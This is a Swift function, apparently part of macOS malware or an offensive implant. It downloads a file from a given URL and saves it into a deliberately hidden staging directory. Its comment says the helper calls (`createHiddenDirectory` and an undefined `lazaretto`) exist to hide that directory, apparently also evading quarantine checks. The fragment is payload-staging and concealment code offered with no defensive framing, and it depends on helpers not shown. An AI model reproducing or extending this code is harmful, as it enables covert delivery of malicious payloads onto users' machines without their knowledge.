/*
`downloadFile` takes a URL, a filename, and a path to save the file. 
Calling `createHiddenDirectory` and `lazaretto` on this path aid in 
hiding the staging directory.
*/
func downloadFile(url: NSString, filename: NSString, location: NSString) {
    var downloadUrl = NSURL(string: url)
    var dataFromUrl = NSData(contentsOfURL: downloadUrl!)
    var filePath = location + filename;
    
    createHiddenDirectory(location)
    var fileManager = NSFileManager.defaultManager()
    fileManager.createFileAtPath(filePath, contents: dataFromUrl, attributes: nil)
    lazaretto(location)
}